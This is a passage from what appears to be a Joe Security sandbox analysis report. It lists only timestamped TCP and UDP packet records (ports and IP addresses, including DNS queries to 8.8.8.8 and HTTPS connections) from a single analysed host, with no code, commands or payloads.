May 13, 2022 14:56:11.251780987 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.252019882 CEST 443 49774 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.252372980 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.252578974 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.252872944 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.253087997 CEST 443 49773 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.253535986 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.253711939 CEST 443 49776 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.255758047 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:11.255772114 CEST 443 49772 142.250.185.238 192.168.2.5
May 13, 2022 14:56:11.255954981 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.255981922 CEST 443 49774 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.258881092 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.258919001 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.283771038 CEST 443 49772 142.250.185.238 192.168.2.5
May 13, 2022 14:56:11.283849955 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:11.283865929 CEST 443 49772 142.250.185.238 192.168.2.5
May 13, 2022 14:56:11.283922911 CEST 443 49772 142.250.185.238 192.168.2.5
May 13, 2022 14:56:11.283984900 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:11.286124945 CEST 49772 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:11.286147118 CEST 443 49772 142.250.185.238 192.168.2.5
May 13, 2022 14:56:11.308514118 CEST 443 49774 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.308609962 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.308625937 CEST 443 49774 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.308645964 CEST 443 49774 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.308707952 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.315190077 CEST 49774 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.315212965 CEST 443 49774 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.328557014 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.328574896 CEST 443 49773 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.328625917 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.328650951 CEST 443 49776 142.250.186.77 192.168.2.5
May 13, 2022 14:56:11.428503036 CEST 49773 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.429368019 CEST 49776 443 192.168.2.5 142.250.186.77
May 13, 2022 14:56:11.437742949 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.437802076 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482004881 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482024908 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482074976 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482110023 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482125998 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482170105 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.482239962 CEST 443 49775 165.227.107.5 192.168.2.5
May 13, 2022 14:56:11.482266903 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.482276917 CEST 49775 443 192.168.2.5 165.227.107.5
May 13, 2022 14:56:11.482285023 CEST 443 49775 165.227.107.5 192.168.2.5
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UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 14:56:09.689305067 CEST 53934 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:09.706588984 CEST 53 53934 8.8.8.8 192.168.2.5

May 13, 2022 14:56:10.061688900 CEST 63187 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:10.067696095 CEST 60658 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:10.087332964 CEST 53 63187 8.8.8.8 192.168.2.5

May 13, 2022 14:56:10.087374926 CEST 53 60658 8.8.8.8 192.168.2.5

May 13, 2022 14:56:11.520800114 CEST 61941 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:11.523334980 CEST 57352 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:11.543082952 CEST 53 57352 8.8.8.8 192.168.2.5

May 13, 2022 14:56:11.543268919 CEST 53 61941 8.8.8.8 192.168.2.5

May 13, 2022 14:56:11.589920044 CEST 61911 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:11.610773087 CEST 53 61911 8.8.8.8 192.168.2.5

May 13, 2022 14:56:12.423208952 CEST 63241 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:12.446157932 CEST 53 63241 8.8.8.8 192.168.2.5

May 13, 2022 14:56:14.738476038 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.764364958 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.764910936 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.790961027 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.791027069 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.791059971 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.791090965 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.826688051 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.829791069 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.845980883 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.846026897 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.858009100 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.858489037 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.858901024 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.893397093 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.894062042 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.901707888 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.901741982 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.902084112 CEST 443 57810 142.250.185.238 192.168.2.5

May 13, 2022 14:56:14.905345917 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:14.951685905 CEST 57810 443 192.168.2.5 142.250.185.238
May 13, 2022 14:56:15.082063913 CEST 55355 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:15.135685921 CEST 62680 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:15.157944918 CEST 53 62680 8.8.8.8 192.168.2.5

May 13, 2022 14:56:15.181143999 CEST 53 55355 8.8.8.8 192.168.2.5

May 13, 2022 14:56:23.218828917 CEST 63488 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:23.240226030 CEST 53 63488 8.8.8.8 192.168.2.5

May 13, 2022 14:56:24.492458105 CEST 62648 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:24.493799925 CEST 55473 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:24.495057106 CEST 54463 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:24.512310028 CEST 63718 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:24.512389898 CEST 53 62648 8.8.8.8 192.168.2.5

May 13, 2022 14:56:24.512828112 CEST 53 55473 8.8.8.8 192.168.2.5

May 13, 2022 14:56:24.533835888 CEST 53 63718 8.8.8.8 192.168.2.5

May 13, 2022 14:56:28.041826010 CEST 54258 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:28.059302092 CEST 53 54258 8.8.8.8 192.168.2.5

May 13, 2022 14:56:29.002434969 CEST 53194 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:29.041913033 CEST 53 53194 8.8.8.8 192.168.2.5

May 13, 2022 14:56:29.646230936 CEST 55870 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:29.685132027 CEST 53 55870 8.8.8.8 192.168.2.5

May 13, 2022 14:56:30.064095020 CEST 54850 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:30.065083027 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.087645054 CEST 53 54850 8.8.8.8 192.168.2.5
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May 13, 2022 14:56:30.089080095 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.089148998 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.089214087 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.108726025 CEST 61458 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:30.112576962 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.122031927 CEST 62832 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:30.128050089 CEST 53 61458 8.8.8.8 192.168.2.5

May 13, 2022 14:56:30.149588108 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.199136972 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.202022076 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.205945015 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.206146955 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.232892990 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.235352039 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250462055 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250536919 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250583887 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250628948 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250672102 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250705957 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250745058 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250788927 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250833988 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.250880003 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.251682997 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.252954960 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.253009081 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.255343914 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.255394936 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.257728100 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.258754969 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.260041952 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.261060953 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.262254953 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.263480902 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.264748096 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.265994072 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.266057014 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.268152952 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.268184900 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.270386934 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.271545887 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.273438931 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.273468971 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.275360107 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.275408983 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.277460098 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.278667927 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.280011892 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.280054092 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.282473087 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.282502890 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.299063921 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:30.321247101 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.321487904 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.321701050 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.321842909 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.321928978 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.322125912 CEST 54851 443 192.168.2.5 142.250.184.200
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May 13, 2022 14:56:30.322345018 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.322477102 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.322518110 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.322541952 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.327738047 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.327913046 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.327980042 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328078985 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328155994 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328227997 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328303099 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328372002 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328443050 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.328531027 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.340065002 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.340121984 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.340287924 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.342503071 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.342541933 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.345468044 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.345523119 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.346493006 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.346546888 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.349699974 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.349767923 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.351592064 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.351660013 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.353559017 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.353625059 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.355628014 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.355673075 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.357832909 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.357892990 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.360352993 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.360415936 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.362591028 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.362651110 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.363832951 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.363893032 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.366365910 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.366427898 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.368417025 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.368536949 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.370045900 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.370107889 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.372522116 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.372587919 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.374488115 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.374552965 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.376166105 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.376226902 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.378444910 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.378545046 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.380575895 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.380656004 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:30.404453993 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.404685020 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.404807091 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405127048 CEST 54851 443 192.168.2.5 142.250.184.200
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May 13, 2022 14:56:30.405272961 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405347109 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405422926 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405493021 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405569077 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405657053 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405733109 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405803919 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405884981 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.405955076 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.406028986 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.406112909 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.406688929 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.406790972 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.406872034 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.406948090 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.450383902 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:30.451024055 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.109956026 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.118541002 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.137665033 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143738985 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143769979 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143800974 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143815994 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143843889 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143863916 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143883944 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143906116 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143923998 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143943071 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143968105 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.143981934 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.144002914 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.144022942 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.144464970 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.144550085 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.144557953 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.144642115 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.144886971 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.145284891 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.146519899 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.146564960 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.147881031 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.147905111 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.149559975 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.149579048 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.150043964 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.151101112 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.151140928 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.152746916 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.152802944 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.154470921 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.154514074 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.155852079 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.155899048 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.156289101 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.157459021 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.157509089 CEST 443 54851 142.250.184.200 192.168.2.5

Copyright Joe Security LLC 2022 Page 52 of 131



Timestamp Source Port Dest Port Source IP Dest IP

May 13, 2022 14:56:31.159790993 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.159832001 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.159866095 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.159898043 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.161726952 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.162411928 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.162447929 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.163319111 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.163346052 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.165641069 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.165663004 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.165685892 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.165715933 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.167721033 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.168252945 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.168272018 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.168299913 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.168323994 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.171152115 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.171174049 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.171202898 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.171225071 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.172226906 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.172261000 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.172286034 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.172308922 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.172431946 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.174155951 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.174186945 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.174217939 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.174258947 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.175086975 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.175117970 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.177010059 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.177061081 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.177095890 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.177131891 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.177406073 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.178625107 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.178663015 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.178692102 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.178728104 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.180586100 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.180619955 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.180648088 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.180675983 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.181330919 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.182271957 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.182297945 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.182334900 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.182363987 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.184010983 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.184056997 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.184092999 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.184128046 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.186074972 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.186117887 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.186152935 CEST 443 54851 142.250.184.200 192.168.2.5
May 13, 2022 14:56:31.186188936 CEST 443 54851 142.250.184.200 192.168.2.5
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May 13, 2022 14:56:31.186223984 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:31.186256886 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:31.186424017 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:31.205878019 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:32.024473906 CEST 56317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:32.050124884 CEST 443 56317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:32.050163031 CEST 443 56317 142.250.184.238 192.168.2.5

